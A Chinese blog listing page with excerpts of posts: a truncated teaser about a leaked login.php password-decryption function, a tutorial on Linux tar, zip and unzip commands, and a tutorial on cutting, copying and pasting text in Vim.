回到之前login.php源码泄露里面,其中在登录时有对密码进行解密的源码,看着很头疼,想起了学密码学时候那些交换变换的算法 // 密码加密函数 function EncryptStr($strSo ...

    2023-11-09 222
  • Linux常用打包、解包,压缩、解压相关命令

    1. 文件、文件包、压缩包 打包是把多个文件做成一个文件包,文件大小是不变的。 压缩会改变文件的大小 2. tar命令 2.1 命令功能 用于文件的打包和压缩。 2.2 命令格式 tar [OPTION...] [FILE]... 2.3 命令选项 选项 说明 -c 创建新包 -r 往包里新增文件 -u 往包里更新文件 -t 列出包里文件 -f 指定包名 -v 详情列出处理的文件 -x 解包 2.4 常用功能 2.4.1 打包 # 创建新包 tar -cvf myfile.tar test1.txt test2.txt test # 往包里新增文件 tar -rvf myfile.tar test3.txt # 往包里更新文件 tar -uvf myfile.tar test1.txt # 列出包里文件 tar -tf myfile.tar 2.4.2 解包 选项 说明 -C 文件解压到指定目录 # 解包 tar -xvf myfile.tar # 解包到指定目录,该目录得存在 tar -xvf myfile.tar -C temp 2.4.3 压缩 Linux系统常见 选项 作用 包名格式 备注 -z gzip方式压缩 包名.tar.gz   -j bzip2方式压缩 包名.tar.bz2 安装bzip2 -J xz方式压缩 包名.tar.xz   # gzip方式压缩 tar -zcvf test1.tar.zip myfile.tar # bzip2方式压缩 tar -jcvf test2.tar.bz2 myfile.tar # xz方式压缩 tar -Jcvf test3.tar.xz myfile.tar # 不需要tar包,直接从文件进行打包压缩 tar -zcvf myfile.tar.zip test* 2.4.4 解压 tar -xvf test1.tar.zip tar -xvf test2.tar.bz2 tar -xvf test3.tar.xz tar -zcvf myfile.tar.zip 3. zip命令 Linux系统不一定自带,得安装 3.1 命令功能 将一个或多个文件压缩成一个zip文件 3.2 命令格式 zip [-r] 文件... 3.3 命令选项 -r 被压缩的内容中含有目录文件,需要使用-r选项 3.4 示例 zip -r test.zip test* 4. unzip命令 Linux系统不一定自带,得安装 4.1 命令功能 解压zip压缩包 4.2 命令格式 unzip [-d] zip压缩包名 4.3 命令选项 -d 指定解压文件存放目录 4.4 示例 unzip test.zip </div> ...

    2023-11-08 172
  • 如何在Vim编辑器中剪切、复制和粘贴

    剪切、复制和粘贴文本是文本编辑中最基本的任务之一,我们都知道 Vim 有不同的处理方式。 这意味着,在你掌握它之前,你会害怕它,一旦你掌握了它,它就只是一个兔子洞。 虽然我将详细介绍剪切、复制和粘贴,但这里是本教程的基本摘要,以帮助你开始使用: 按键 描述 yiw 复制当前单词。 yy 复制整行。 diw 剪切当前单词。 dd 剪掉整行。 p 粘贴文本。 别担心,Vim 为你提供的选项比我上面提到的要多得多。 在本教程中,我将引导你完成以下内容: 如何在 Vim 中复制文本 如何在 Vim 中剪切文本 如何在 Vim 中粘贴文本 如何使用可视模式在 Vim 中剪切和复制文本 那么让我们从第一个开始。 如何在 Vim 编辑器中复制文本 虽然我们使用术语“复制”,但 Vim 有一个不同的术语,称为 “扽出yank”,因此从现在开始,我将使用“扽出”而不是“复制”。 正如我之前提到的,你可以使用多种方法在 Vim 中扽出文本,以下是一些有用的方法: 命令 描述 nyy或nY 扽出(复制)当前行和接下来的 n-1行。例如,3yy复制当前行及其下面的两行。 yaw 扽出(复制)光标所在的当前单词。 yy或Y 扽出(复制)整个当前行。 y$ 扽出(复制)从光标到行尾的文本。 y^或y0 扽出(复制)从光标到行首的文本。 要在 Vim 中扽出,请执行以下 3 个简单步骤: 按 Esc键切换到正常模式 移动到要复制的行或单词 按上表中的相关命令,你的文本将被复制 想学习交互式复制行的方式吗? 跳到本教程的最后一部分。 如何在 Vim 编辑器中剪切文本 在 Vim 中,你没有任何删除文本的选项。取而代之的是剪切文本,因此删除和剪切文本与 Vim 中的操作类似。 要在 Vim 中剪切文本,请按 d命令。但你永远不会在没有任何选项的情况下使用d命令。你总是会添加一些东西来做更多操作。 因此,你可以使用以下一些实用方法使用 d命令剪切文本: 命令 描述 dd 剪切整个当前行。 d$ 将文本从光标剪切到行尾。 d^或d0 将文本从光标剪切到行首。 ndd或dN 剪切当前行和接下来的 n-1行。例如,3dd剪切当前行及其下面的两行。 daw 剪切光标所在的当前单词。 假设我想从文件中剪切前 4 行,然后我需要使用 4dd,我是这样做的: 如何在 Vim 编辑器中粘贴文本 在 Vim 中复制或剪切文本后,只需按 p键即可粘贴它。 你可以多次按 p键多次粘贴文本,也可以使用np,其中n是要粘贴文本的次数。 例如,在这里,我粘贴了之前复制了三遍的行: 就是这么简单! 如何通过选择文本来剪切和复制文本 如果你使用过 GUI 文本编辑器,那么你肯定习惯于通过选择文本来复制和剪切文本。 让我们从如何通过在 Vim 中选择文本来复制开始。 通过选择文本复制 要在可视模式下复制文本,请执行以下 3 个简单步骤: 移动到要开始选择的地方 按 Ctrl + v启用可视模式 使用箭头键进行选择 按 y键复制所选文本 例如,在这里,我使用可视模式复制了 4 行: 如果你注意到,当我按下 y键,它就会显示有多少行被扽出(复制)。就我而言,有 4 行被复制。 在 Vim 中选择文本来剪切文本 要在 Vim 中以可视模式剪切文本,你所要做的就是遵循 4 个简单步骤: 移动到要剪切的位置 按 Ctrl + v切换到可视模式 使用箭头键选择要剪切的行 按 d键剪切选定的行 假设我想剪掉 4 行,那么我会这样做: 挺容易。是吧? ...

    2023-11-07 170

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注